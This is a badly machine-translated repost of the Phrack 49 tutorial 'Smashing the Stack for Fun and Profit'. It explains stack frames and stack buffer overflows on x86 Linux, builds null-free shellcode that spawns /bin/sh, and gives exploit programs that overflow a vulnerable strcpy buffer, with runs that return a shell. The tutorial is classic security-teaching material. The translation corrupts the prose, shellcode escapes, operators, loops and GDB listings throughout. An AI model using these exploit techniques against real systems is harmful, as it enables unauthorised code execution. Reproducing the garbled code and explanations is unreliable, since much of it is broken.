Title: Schematic and Practice of Buffer Spillies (Phrack)
Author: Sinbad return I want to comment
Sender: sinbad
Title: Principle and Practice of Buffer Spillies (Phrack)
Sending station: Sinbad (Fri Jun 15 08:31:09 2001)
.oo phrack 49 oo.
Volume Seven, Issue Forty-Nine
File 14 of 16
Bugtraq, R00T, And Underground.org
Bring you
Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Smashing The Stack for Fun and Profit
Trample in stack with entertainment and profit
(Principle and practice of buffer overflow)
Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Originally by aleph one
Aleph1@underground.org
Translation xuzq@chinasafer.com
Www.chinasafer.com
'Trample stack' [C language program] n. In many C language implementations, it is possible to pass the write routine
The end of the array declared to destroy the executable stack. The so-called 'trample stack' uses
The code can cause the routine to return an exception, which jumps to any address. This has led to some extreme
Sanxious data related vulnerabilities (already known). Its variants include stack lamination (TRASH THE)
STACK, Scribble The Stack, Stack Destroy;
The term Mung The Stack is not used because this never deliberately caused. See SPAM?
Also see the vulnerability of the same name, the NC (Fandango on Core), memory leak (Memory
Leak), precedence lossage, thread slip, and Overrun Screw.
Conclude
~~~~~~~
In the past few months, the buffer overflow vulnerability to be discovered and utilized. For example, Syslog,
Splitvt, Sendmail 8.7.5, Linux / Freebsd Mount, XT Library, AT, etc. Try Now
Interpretation What is buffer overflow and how to use it.
The basic knowledge of compilation is required. The concept of virtual memory, and the experience of using GDB is very beneficial
, But not required. We also assume that the operating system is Linux using the Intel X86 CPU.
We give several basic definitions before the beginning: the buffer, simply coming is a continuous computer
The storage area can save multiple instances of the same data type. C Programmers usually deal with the word buffer array.
The most common is the character array. Array, like all variables in the C language, can be declared as static or dynamic
The static variable is positioned in the data segment when the program is loaded. The dynamic variable is positioned in the stack at the time of the program.
Overflow, it is bluntly filled, so that the contents exceed the top, edge, or boundary. We only care about
The overflow problem of the buffer, that is, the stack-based buffer overflow.
Process memory organizational form
~~~~~~~~~~~~~~~~~~~~
In order to understand what is a stack buffer, we must first understand that a process is in the form of organization.
The memory exists in memory. The process is divided into three areas: text, data and stack. We focus on the stack
Area, but first introduces other areas in order to briefly.
The text area is determined by the program, including code (instruction) and read-only data. This area is equivalent to executable
The text segment of the file. This area is usually marked as read-only, and any operations written in it will cause paragraph errors.
Segmentation Viology.
The data area contains data that have been initialized and not initialized. Static variables are stored in this area. Number
According to the Data-BSS segment in the executable of the executable. Its size can be changed by the system to call BRK (2).
If the BSS data expansion or user stack consumes the available memory, the process will be blocked, waiting to have
A larger memory space is run again. The new memory is added to the middle of the data and stack segments.
/ ------------------ / Memory low address | |
| Text |
| | |
| ------------------
| (Initialized) |
| Data |
| (Not initialized) |
| ------------------
| | |
| Stack |
| | |
/ ----------------- / Memory high address
Fig. 1 process memory area
What is a stack?
~~~~~~~~~~~~~
Stack is an abstract data type that is often used in computer science. The objects in the stack have a characteristic:
The last object in the stack is always first, which is often referred to as the next first (LIFO) queue.
Some operations are defined in the stack. Two most important thing is PUSH and POP. Push operation Add to one in the top of the stack
Elements. In contrast, the POP operation is removed from the top of the stack and minimizes the size of the stack.
Why use the stack?
~~~~~~~~~~~~~~~~
Modern computers are designed to understand advanced languages in people's minds. When constructing programs using advanced language
The most important technology is the process of process and functions. From this point, a process call can be
Change the program's control process as the JUMP command, but is different from the jump, when the work is completed,
The function returns control to the statement or instructions after the call. This advanced abstraction is achieved by the help of the stack.
The stack is also used to dynamically allocate space used in the function, and the function is sent to the function transfer parameters and functions.
Return value also uses the stack.
Stack area
~~~~~~~~~~
The stack is a continuous memory for saving data. A register named stack pointer (SP) pointing to the top of the stack.
The bottom of the stack is in a fixed address. The size of the stack is dynamically adjusted by the kernel during runtime. CPU implementation instruction
PUSH and POP, add elements to the stack and remove elements from it.
The stack consists of a logical stack frame. When the call function is called, the logical stack frame is pressed into the stack, and the function is logical when the function returns.
The stack frame is popped up from the stack. The stack frame includes the parameters of the function, local variables of the function, and restore the previous stack
The data required for the frame, which includes the value of the instruction pointer (IP) when the function is called.
The stack can also grow down (to the memory low address) can also grow up, depending on the specific implementation.
In the examples, the stack is growing down. This is the implementation of many computers, including Intel, Motorola,
SPARC and MIPS processors. Stack pointers (sp) are also dependent on specific implementation. It can point to the last address of the stack,
Or point to the next idle available address after the stack. In our discussion, the SP points to the last address of the stack.
In addition to the stack pointer (SP pointing to the low address at the top of the stack), in order to use convenience, there is a point-to-frame fixed
The pointer of the address is called frame pointer (FP). Some articles are called local base pointers (LB-local base pointer).
In theory, local variables can be referenced by SP inclination. However, when there is a word being pressed and out of the stack, this
Some offsets have changed. Although the compiler can track the word operation in the stack, it can be corrected offset.
Quantity, but in some cases, it is not possible. In all cases, to introduce a considerable management overhead. And some
On machines, such as Intel processors, multiple instructions are required to access a variable from the SP mesh.
Therefore, many compilers use second registers, FP, can be referenced for local variables and function parameters,
Because their distance to FP will not be affected by PUSH and POP operations. In Intel CPU, BP (EBP) is used for this
Of a target. In the Motorola CPU, FP can be made in addition to any address register other than the A7 (Stack Pointer SP).
Considering the growth direction of our stack, starting from the position of the FP, the offset of the function parameters is positive, and the local
The offset of the variable is negative.
The first thing you must do when a routine is called is to save the previous FP (so when the routine is exited.
Restore). Then it copies the SP to the FP, create a new FP, move the SP forward as a local variable reserved space. This is called
The prologity of the routine. When the routine exits, the stack must be cleaned, this is called the end of the routine (Epilog) works. Intel's Enter and Leave instructions, Motorola's Link and Unlink Directions can be used. in
Effectively prelude and end.
Below we use a simple example to show the appearance of the stack:
EXAMPLE1.C:
-------------------------------------------------- ----------------------------
Void Function (int A, int b, int c) {
Char buffer1 [5];
Char buffer2 [10];
}
Void main () {
Function (1, 2, 3);
}
-------------------------------------------------- ----------------------------
In order to understand what is done when calling function (), we compile the GCC -s option to produce
Give profile code output:
$ GCC -S -O EXAMPLE1.S EXAMPLE1.C
By viewing assembly language output, we see that the call to function () is translated:
Pushl $ 3
Pushl $ 2
Pushl $ 1
Call function
Press the three parameters of the Function into the stack in order from the previous order, and then call function (). Instruction CALL
The instruction pointer (IP) will also be pressed into the stack. We call this saved ip as the return address (RET). In the function
The first thing is the prelude work of routines:
Pushl% EBP
MOVL% ESP,% EBP
SUBL $ 20,% ESP
Press the frame pointer EBP into the stack. Then copy the current SP to EBP, make it a new frame pointer. We put this
Saved FP is called SFP. Next, the value of the SP is reduced, and the space is reserved for local variables.
We must keep in mind that memory can only be addressed in words. One word here is 4 bytes, 32 bits. So 5 bytes
The buffer will occupy the memory space of 8 bytes (2 words), and 10 bytes of buffers will take up 12 bytes (3 words)
Memory space. This is why SP has to lose 20. So we can imagine function () when it is called.
Stack of appearances (each space represents a byte):
Memory low address memory high address
Buffer2 Buffer1 SFP RET A B C
<------ [] [] [] [] [] [] []
Stack top stack bottom
Buffer overflow
~~~~~~~~~~~~
The buffer overflow is the result of filling a buffer exceeding the data that exceeds its processing capabilities. How to use this
Often programming errors to perform any code? Let's take a look at another example:
EXAMPLE2.C
-------------------------------------------------- ----------------------------
Void function (char * str) {
Char buffer [16];
STRCPY (BUFFER, STR);
}
Void main () {
CHAR LARGE_STRING [256];
INT I;
For (i = 0; i <255; i )
Large_string [i] = 'a';
Function (large_string);
}
-------------------------------------------------- -------------------------- The function of this program contains a typical memory buffer encoding error. This function does not perform border check
The string provided, incorrectly uses strcpy () without using Strncpy (). If you run this program
Segment error will be generated. Let us look at the appearance of the stack when calling the function:
Memory low address memory high address
Buffer SFP RET * STR
<------ [] [] [] []
Stack top stack bottom
What happened here? Why do we get a paragraph error? The answer is simple: strcpy () will * STR
Content (Larger_String []) Copy to buffer [] until an empty character is hit in the string. Obviously,
Buffer [] is much smaller than * STR. Buffer [] only 16 bytes long, and we try to fill 256 bytes in the inside
The content. This means that 250 bytes in the stack are all overwhelmed after Buffer. Including SFP, RET, and even * STR!
We have filled Large_String all filled into A. A of the hexadecimal value of 0x41. This means now return
The site is 0x41414141. This has been outside the address space of the process. When the function returns, the program tries to read the return.
The next instruction of the address, at this time we get a paragraph error.
So the buffer overflow allows us to change the return address of the function. This allows us to change the execution process of the program.
Now returning to the first example, recalling the appearance of the stack at the time:
Memory low address memory high address
Buffer2 Buffer1 SFP RET A B C
<------ [] [] [] [] [] [] []
Stack top stack bottom
Now try to modify our first example, let it override the return address, and make it execute any code.
In the stack in Buffer1 [], it is SFP, and SFP is back to the address. RET is four from the end of buffer1 []
Bytes. It should be remembered that buffer1 [] is actually two words, 8 bytes long. So return the address from buffer1 []
The head calculates 12 bytes. We will use this method to modify the return address, skip the function calls later assignment statement
'x = 1;', in order to do this, we add 8 bytes. The code looks like this:
EXAMPLE3.C:
-------------------------------------------------- ----------------------------
Void Function (int A, int b, int c) {
Char buffer1 [5];
Char buffer2 [10];
INT * RET;
Ret = buffer1 12;
(* RET) = 8;
}
Void main () {
INT X;
X = 0;
Function (1, 2, 3);
X = 1;
Printf ("% d / n", x);
}
-------------------------------------------------- ----------------------------
We add the address of buffer1 [] 12, the resulting new address is where the address is returned. We want to skip the assignment statement and directly execute the PrintF call. How do you know that you should return to 8 bytes? We previously used
After a test value (such as 1), compile the program, the tool GDB:
-------------------------------------------------- ----------------------------
[ALEPH1] $ GDB EXAMPLE3
GDB Is Free Software and You Are Welcome to Distribute Copies of IT
Under Certain Conditions; Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...
(No Debugging Symbols Found) ...
(GDB) Disassemble Main
Dump of assembler code for function main:
0x8000490
0x8000491
0x8000493
0x8000496
0x800049D
0x800049f
0x80004A1
0x80004A3
0x80004A8
0x80004AB
0x80004B2
0x80004B5
0x80004B6
0x80004BB
0x80004c0
0x80004C3
0x80004c5
0x80004C6
0x80004c7
-------------------------------------------------- ----------------------------
We see when invoing Function (), RET will be 0x8004a8, we want to skip the assignment instructions in 0x80004ab. The next instruction you want to execute is 0x8004b2. Simple calculation tells us that the distance between the two instructions is 8 bytes.
Shell Code
~~~~~~~~~~
Now we can modify the return address to change the process of execution, what do we want to do?
In most cases, we just want the program to give birth to a shell. From this shell, you can execute anyone
What you want. But what if we don't have this code in the program we try to crack?
How can I put any instructions in the address space of the program? The answer is to put the code you want to execute.
We want to overflow the buffer and override the return address of the function to point to this buffer. Assume the stack
The starting address is 0xFF, and S represents the code we want to execute, the stack looks like this:
Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high
Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF address
Buffer SFP RET A B C
<------ [sssssssssssssssssssss] [SSSS] [0xD8] [0x01] [0x02] [0x03]
^ | |
| ____________________________ |
Stack top stack bottom
The C language code that is derived from a shell is like this:
shellcode.c
-------------------------------------------------- ---------------------------
#include
Void main () {
Char * name [2];
Name [0] = "/ bin / sh";
Name [1] = NULL;
Execve (Name [0], Name, NULL);
}
-------------------------------------------------- ----------------------------
In order to find out what it is like this program, we compile it, then sacrifies the debug tool GDB. Remember
Use the -static flag when compiling, otherwise the real code of the system calls Execve will not include in the assembly,
Instead, a reference to the dynamic C language library, the real code is to be coupled when the program is loaded.
-------------------------------------------------- ----------------------------
[aleph1] $ gcc -o shellcode -ggdb -static shellcode.c
[ALEPH1] $ GDB shellcode
GDB Is Free Software and You Are Welcome to Distribute Copies of IT
Under Certain Conditions; Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...
(GDB) Disassemble Main
Dump of assembler code for function main: 0x8000130
0x8000131
0x8000133
0x8000136
0x800013D
0x8000144
0x8000146
0x8000149
0x800014a
0x800014D
0x800014e
0x8000153
0x8000156
0x8000158
0x8000159
End of assembler dump.
(GDB) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__ execve>: Pushl% EBP
0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP
0x80002BF <__ execve 3>: Pushl% EBX
0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX
0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX
0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX
0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX
0x80002CE <__ execve 18>: int $ 0x80
0x80002d0 <__ execve 20>: MOVL% EAX,% EDX
0x80002d2 <__ execve 22>: Testl% EDX,% EDX
0x80002d4 <__ execve 24>: JNL 0x80002e6 <__ execve 42>
0x80002d6 <__ execve 26>: NEGL% EDX
0x80002d8 <__ execve 28>: Pushl% EDX
0x80002d9 <__ execve 29>: Call 0x8001a34 <__ normal_errno_location> 0x80002de <__ execve 34>: POPL% EDX
0x80002df <__ execve 35>: MOVL% EDX, (% EAX)
0x80002e1 <__ execve 37>: MOVL $ 0xfffffffff,% EAX
0x80002e6 <__ execve 42>: POPL% EBX
0x80002e7 <__ execve 43>: MOVL% EBP,% ESP
0x80002e9 <__ execve 45>: POPL% EBP
0x80002ea <__ execve 46>: RET
0x80002eb <__ execve 47>: NOP
End of assembler dump.
-------------------------------------------------- ----------------------------
Let's take a look at what happened here. First start research from main:
-------------------------------------------------- ----------------------------
0x8000130
0x8000131
0x8000133
This is the preparation of routines. First save the old frame pointer, use the current stack pointer as a new frame pointer,
Then keep space for local variables. Here is:
Char * name [2];
That is, two pointers of the string. The length of the pointer is a word, so it retains 2 words (8 bytes)
space.
0x8000136
We copied 0x80027B8 (string "/ bin / sh") this value to the first pointer in Name [], this
Equivalent to:
Name [0] = "/ bin / sh";
0x800013D
We copy value 0x0 (null) to the second pointer in Name [], which is equivalent to:
Name [1] = NULL;
Reactive call to execve () begins with below:
0x8000144
We put the parameters of Execve () in the stack in the backward order, starting from NULL.
0x8000146
Place the address of the Name [] in the EAX register.
0x8000149
Then press the Name [] address in the stack.
0x800014a
Put the address "/ bin / sh" address in the EAX register
0x800014D
Then, put the string "/ bin / sh" address in the stack 0x800014e
Call the library routine execve (). This call instruction presses the IP (instruction pointer) into the stack.
-------------------------------------------------- ----------------------------
Now to Execve (). Note that we use Intel-based Linux system. The details of the system call
The operating system and the CPU are different. Some put the parameters into the stack, some save it in the register. Some use
Soft interrupt jump into the kernel mode, some use far call. Linux saves the parameters sent to the system call
In the register, and use a soft interrupt to jump into the kernel mode.
-------------------------------------------------- ----------------------------
0x80002bc <__ execve>: Pushl% EBP
0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP
0x80002BF <__ execve 3>: Pushl% EBX
Preparation of routines.
0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX
Put 0xB (decimal 11) into the register EAX (original text). 0xB is the index of the system call table
11 is Execve.
0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX
Place the address of "/ bin / sh" in the register EBX.
0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX
Place the address of the Name [] in the register ECX.
0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX
Place the address of the empty pointer into the register EDX.
0x80002CE <__ execve 18>: int $ 0x80
Enter the kernel mode.
-------------------------------------------------- ----------------------------
It can be seen that there is nothing more job to do, and all things to do are summarized as follows:
a) Place the string "/ bin / sh" ending with NULL to somewhere.
b) put the address "/ bin / sh" address to memory somewhere, followed by an empty long word (Null Long Word)
.
c) Put 0xB in the register EAX.
d) Place the address of the string "/ bin / sh" to the register EBX.
e) Place the address of the string "/ bin / sh" address to the register ECX.
(Note: Original D and E step reverse EBX and ECX)
f) Place the address of the empty word into the register EDX.
g) Execute the instruction Int $ 0x80.
But if the execve () calls for some reason, what is the failure? The program will continue to read the instruction from the stack.
At this time, the stack may contain a random data! The program performs such an instruction for ten eight-nine will be dump. If Execv
e
Call failed us still want the program to be cleanly exited. To this end, add an exit after calling Execve
System call. EXIT system calls look like what is the assembly language?
Exit.c
-------------------------------------------------- ----------------------------
#include
Void main () {
exit (0);
-------------------------------------------------- ----------------------------
-------------------------------------------------- ----------------------------
[ALEPH1] $ gcc -o exit -static exit.c
[ALEPH1] $ GDB EXIT
GDB Is Free Software and You Are Welcome to Distribute Copies of IT
Under Certain Conditions; Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...
(No Debugging Symbols Found) ...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034C <_exit>: Pushl% EBP
0x800034D <_exit 1>: MOVL% ESP,% EBP
0x800034F <_exit 3>: pushl% EBX
0x8000350 <_exit 4>: MOVL $ 0x1,% EAX
0x8000355 <_exit 9>: MOVL 0x8 (% EBP),% EBX
0x8000358 <_exit 12>: INT $ 0X80
0x800035A <_exit 14>: MOVL 0xFffffFFFC (% EBP),% EBX
0x800035D <_exit 17>: MOVL% EBP,% ESP
0x800035f <_exit 19>: POPL% EBP
0x8000360 <_exit 20>: RET
0x8000361 <_exit 21>: NOP
0x8000362 <_exit 22>: NOP
0x8000363 <_exit 23>: NOP
End of assembler dump.
-------------------------------------------------- ----------------------------
The system calls EXIT will put the 0x1 in the register EAX, place an exit code in EBX, and perform "INT 0x80".
Just these! Most applications returns 0 when exiting, indicating that there is no error. We also put them in EBX.
The steps in our construct shell code are this:
a) Place the string "/ bin / sh" ending with NULL to somewhere.
b) put the address "/ bin / sh" address to memory somewhere, followed by an empty long word (Null Long Word)
.
c) Put 0xB in the register EAX.
d) Place the address of the string "/ bin / sh" to the register EBX.
e) Place the address of the string "/ bin / sh" address to the register ECX.
(Note: Original D and E step reverse EBX and ECX)
f) Place the address of the empty word into the register EDX.
g) Execute the instruction INT $ 0x80.h) Put 0x1 in the register EAX.
i) Place 0x0 in the register EAX.
j) Execute the instruction Int $ 0x80.
Try to turn these steps into assembly language, put the string behind the code. Don't forget to put on the string behind the array
Address and empty words, we have the following code:
-------------------------------------------------- ----------------------------
MOVL STRING_ADDR, STRING_ADDR_ADDR
MOVB $ 0x0, NULL_BYTE_ADDR
Movl $ 0x0, NULL_ADDR
MOVL $ 0XB,% EAX
MOVL STRING_ADDR,% EBX
LEAL STRING_ADDR,% ECX
LEAL NULL_STRING,% EDX
INT $ 0x80
MOVL $ 0x1,% EAX
MOVL $ 0x0,% EBX
INT $ 0x80
/ BIN / SH STRING GoES here.
-------------------------------------------------- ----------------------------
The problem is that we don't know in the memory space of the program to be cracked, the above code (and the backend) will be put
Where. One solution is to use JMP and CALL instructions. JMP and Call instructions use relative IP addressing methods,
It is to say that we can jump to a certain location where the current IP is always spacing, and it is not necessary to know the exact location in the memory.
Address. If we put a call instruction before the string "/ bin / sh" and turn it on a CALL instruction by a JMP instruction.
When the CALL is executed, the address of the string is pressed into the stack as the return address. What we need is
Place the return address in a register. The CALL instruction only calls our above the code described. Assume J Generation
Table JMP instructions, C represents the CALL instruction, S represents a string, and the execution process is as follows:
Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high
Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF address
Buffer SFP RET A B C
<------ [jjssssssssssssccccss] [SSSS] [0xD8] [0x01] [0x02] [0x03]
^ | ^ ^ | |
||| _____________ || ____________ | (1)
(2) || _____________ ||
| ______________ | (3)
Stack top stack bottom
Use the above correction methods and use relative index addressing, the number of the bytes of each instruction in our code is as follows:
-------------------------------------------------- ----------------------------
JMP offset-to-call # 2 bytes
POPL% ESI # 1 byte
MOVL% ESI, Array-Offset (% ESI) # 3 bytes
Movb $ 0x0, NullByteoffset (% ESI) # 4 bytes
Movl $ 0x0, Null-Offset (% ESI) # 7 Bytes
MOVL $ 0XB,% EAX # 5 bytes
MOVL% ESI,% EBX # 2 bytes
Leal Array-Offset (% ESI),% ECX # 3 bytesleal null-offset (% ESI),% EDX # 3 BYTES
INT $ 0x80 # 2 bytes
Movl $ 0x1,% EAX # 5 bytes
MOVL $ 0x0,% EBX # 5 bytes
INT $ 0x80 # 2 bytes
Call offset-to-popl # 5 bytes
/ BIN / SH STRING GoES here.
-------------------------------------------------- ----------------------------
By calculating from JMP to CALL, from Call to POPL, from the string address to an array, from the string address to the empty word
Garage, we get:
-------------------------------------------------- ----------------------------
JMP 0x26 # 2 bytes
POPL% ESI # 1 byte
MOVL% ESI, 0x8 (% ESI) # 3 bytes
MOVB $ 0x0,0x7 (% esi) # 4 bytes
MOVL $ 0x0,0xc (% esi) # 7 bytes
MOVL $ 0XB,% EAX # 5 bytes
MOVL% ESI,% EBX # 2 bytes
Leal 0x8 (% ESI),% ECX # 3 bytes
LEAL 0XC (% ESI),% EDX # 3 bytes
INT $ 0x80 # 2 bytes
Movl $ 0x1,% EAX # 5 bytes
MOVL $ 0x0,% EBX # 5 bytes
INT $ 0x80 # 2 bytes
Call -0x2b # 5 bytes
.string / "/ bin / sh /" # 8 bytes
-------------------------------------------------- ----------------------------
This looks very good. To ensure that the code can work properly, you must compile and execute. But there is still a problem.
Our code modifies itself, but most operating systems mark the code page as read-only. In order to bypass this limit
The code to be executed must be put in the stack or data segment, and the control is transferred there. To this, you should put the code to the number
According to the global array in the segment. We first need the binary code indicated by 16 credits. First compile, then use GDB
Come to get binary code.
Shellcodeasm.c
-------------------------------------------------- ----------------------------
Void main () {
__ASM __ ("
JMP 0x2a # 3 bytes
POPL% ESI # 1 byte
MOVL% ESI, 0x8 (% ESI) # 3 bytes
MOVB $ 0x0,0x7 (% ESI) # 4 bytesmovl $ 0x0,0xc (% esi) # 7 bytes
MOVL $ 0XB,% EAX # 5 bytes
MOVL% ESI,% EBX # 2 bytes
Leal 0x8 (% ESI),% ECX # 3 bytes
LEAL 0XC (% ESI),% EDX # 3 bytes
INT $ 0x80 # 2 bytes
Movl $ 0x1,% EAX # 5 bytes
MOVL $ 0x0,% EBX # 5 bytes
INT $ 0x80 # 2 bytes
Call -0x2f # 5 bytes
.string / "/ bin / sh /" # 8 bytes
");
}
-------------------------------------------------- ----------------------------
-------------------------------------------------- ----------------------------
[ALEPH1] $ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[ALEPH1] $ GDB Shellcodeasm
GDB Is Free Software and You Are Welcome to Distribute Copies of IT
Under Certain Conditions; Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...
(GDB) Disassemble Main
Dump of assembler code for function main:
0x8000130
0x8000131
0x8000133
0x8000135
0x8000136
0x8000139
0x800013D
0x8000144
0x8000149
0x800014B
0x800014e
0x8000153
0x8000158
0x800015D
0x800015F
0x8000164
0x8000165
0x8000168
0x8000169
0x800016B
End of assembler dump.
(GDB) x / bx main 3
0x8000133
(GDB)
0x8000134
(GDB)
.
.
.
-------------------------------------------------- ----------------------------
Testsc.c
-------------------------------------------------- ----------------------------
Char shellcode [] =
"/ XEB / X2A / X08 / XC6 / X46 / X07 / X00 / XC7 / X46 / X00"
"/ X00 / XB8 / X0B / X00 / X00 / X00 / X4E / X08 / X8D / X56 / X0C / XCD / X80"
"/ XB8 / X01 / X00 / X00 / X00 / X00 / XCD / X80 / XE8 / XD1 / XFF / XFF"
"/ xff / x2f / x62 / x69 / x6e / x2f / x73 / x68 / x00 / x89 / XEC / X5D / XC3";
Void main () {
INT * RET;
RET = (int *) & ret 2;
(* RET) = (int) shellcode;
}
-------------------------------------------------- ----------------------------
-------------------------------------------------- ----------------------------
[ALEPH1] $ GCC -O Testsc Testsc.c
[aleph1] $ ./testsc
$ EXIT
[aleph1] $
-------------------------------------------------- ----------------------------
It became! But there is still an obstacle, in most cases, we all try to overflow a character buffer.
Then any NULL byte in our shellcode is considered to be the end of the string, and the copy work is here.
Stop. For our cracking, there is no null byte in shellcode. Below these bytes, simultaneously streamize the code.
Problem Instruction: Substitution with:
-------------------------------------------------- --------
MOVB $ 0x0,0x7 (% esi) xorl% Eax,% EAX
Molv $ 0x0,0xc (% ESI) MOVB% EAX, 0x7 (% ESI)
MOVL% EAX, 0xc (% ESI)
-------------------------------------------------- --------
MOVL $ 0XB,% EAX MOVB $ 0XB,% Al
-------------------------------------------------- --------
MOVL $ 0x1,% EAX XORL% EBX,% EBX
MOVL $ 0x0,% EBX MOVL% EBX,% EAX
INC% EAX
-------------------------------------------------- --------
Our IMPROVED CODE:
Shellcodeasm2.c
-------------------------------------------------- ----------------------------
Void main () {
__ASM __ ("
JMP 0x1f # 2 bytes
POPL% ESI # 1 byte
MOVL% ESI, 0x8 (% ESI) # 3 bytes
XORL% EAX,% EAX # 2 bytes
MOVB% EAX, 0x7 (% ESI) # 3 bytes
MOVL% EAX, 0xc (% esi) # 3 bytes
MovB $ 0XB,% Al # 2 bytes
MOVL% ESI,% EBX # 2 bytes
Leal 0x8 (% ESI),% ECX # 3 bytes
LEAL 0XC (% ESI),% EDX # 3 bytes
INT $ 0x80 # 2 bytes
XORL% EBX,% EBX # 2 Bytes
MOVL% EBX,% EAX # 2 bytes
INC% EAX # 1 bytes
INT $ 0x80 # 2 bytes
Call -0x24 # 5 bytes
.string / "/ bin / sh /" # 8 bytes
# 46 bytes Total
");
}
-------------------------------------------------- ----------------------------
And Our New Test Program:
Testsc2.c
-------------------------------------------------- ---------------------------- CHAR shellcode [] =
"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
Void main () {
INT * RET;
RET = (int *) & ret 2;
(* RET) = (int) shellcode;
}
-------------------------------------------------- ----------------------------
-------------------------------------------------- ----------------------------
[ALEPH1] $ GCC -O Testsc2 Testsc2.c
[aleph1] $ ./testsc2
$ EXIT
[aleph1] $
-------------------------------------------------- ----------------------------
Crack
~~~~~~~~~~
Now put the tools of your hand ready. We already have shellcode. We know that shellcode must be
Part of the overflowed string. We know that the return address must be referred to back to the buffer. The following example explains these points:
OVERFLOW1.C
-------------------------------------------------- ----------------------------
Char shellcode [] =
"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
Char large_string [128];
Void main () {
Char buffer [96];
INT I;
Long * long_ptr = (long *) Large_String;
For (i = 0; i <32; i )
* (long_ptr i) = (int) BUFFER;
For (i = 0; i Large_string [i] = shellcode [i]; STRCPY (Buffer, Large_String); } -------------------------------------------------- ---------------------------- -------------------------------------------------- ---------------------------- [ALEPH1] $ gcc -o exploit1 exploit1.c [aleph1] $ ./exploit1 $ EXIT exit [aleph1] $ -------------------------------------------------- --------------------------- As shown, we fill the Large_String [] array with buffer [], and shellcode will in Buffer []. Then we copy shellcode to the beginning of the large_string string. Strcpy () does not make He border check copies large_string to the buffer and overrides the return address. Now return address It is our starting position of our shellcode. Once execute to the end of the main function, you will jump to me when trying to return. A shell is obtained in the shellcode. What we face is: How to determine this when trying to overflow another program's buffer overflow Where is the address of the buffer (will have our shellcode)? The answer is: for each program, the start address of the stack They are all identical. Most programs do not press into the stack into a hundred thousand bytes of data. So I know the stack. The start address, we can try to guess this buffer that makes it overflowing. The following applet will print Its stack pointer: Sp.c -------------------------------------------------- ---------------------------- Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main () { Printf ("0x% x / n", get_sp ()); } -------------------------------------------------- ---------------------------- -------------------------------------------------- ---------------------------- [aleph1] $ ./sp 0x8000470 [aleph1] $ -------------------------------------------------- ---------------------------- Assume that we have to overflow their overflows as follows: Vulnerable.c -------------------------------------------------- ---------------------------- Void Main (int Argc, char * argv []) { Char buffer [512]; IF (Argc> 1) STRCPY (Buffer, Argv [1]); } -------------------------------------------------- ---------------------------- We create a program to accept two parameters, one is the buffer size, the other is from its own stack pointer The offset (this stack pointer indicates the location where we want to overflow the buffer). We put overflow characters Stroke is plan into an environment variable so it is easy to operate. Exploit2.c -------------------------------------------------- ---------------------------- #include #define default_offset 0 #define default_buffer_size 512 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" / x80 / xe8 / xdc / xff / xff / xff / bin / SH " Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void Main (int Argc, char * argv []) { Char * buff, * PTR; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_sp () - offset; Printf ("Using Address: 0x% X / N", ADDR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; PTR = 4; For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Memcpy (buff, "egg =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } -------------------------------------------------- ---------------------------- Now we try to guess the size and offset of the buffer: -------------------------------------------------- ---------------------------- [ALEPH1] $ ./exploit2 500 Using address: 0xBffffdb4 [ALEPH1] $ ./vulnerable $ EGG [ALEPH1] $ EXIT [ALEPH1] $ ./exploit2 600 Using address: 0xBffffdb4 [ALEPH1] $ ./vulnerable $ EGG Illegal instruction [ALEPH1] $ EXIT [aleph1] $ ./exploit2 600 100 Using address: 0xBffffd4c 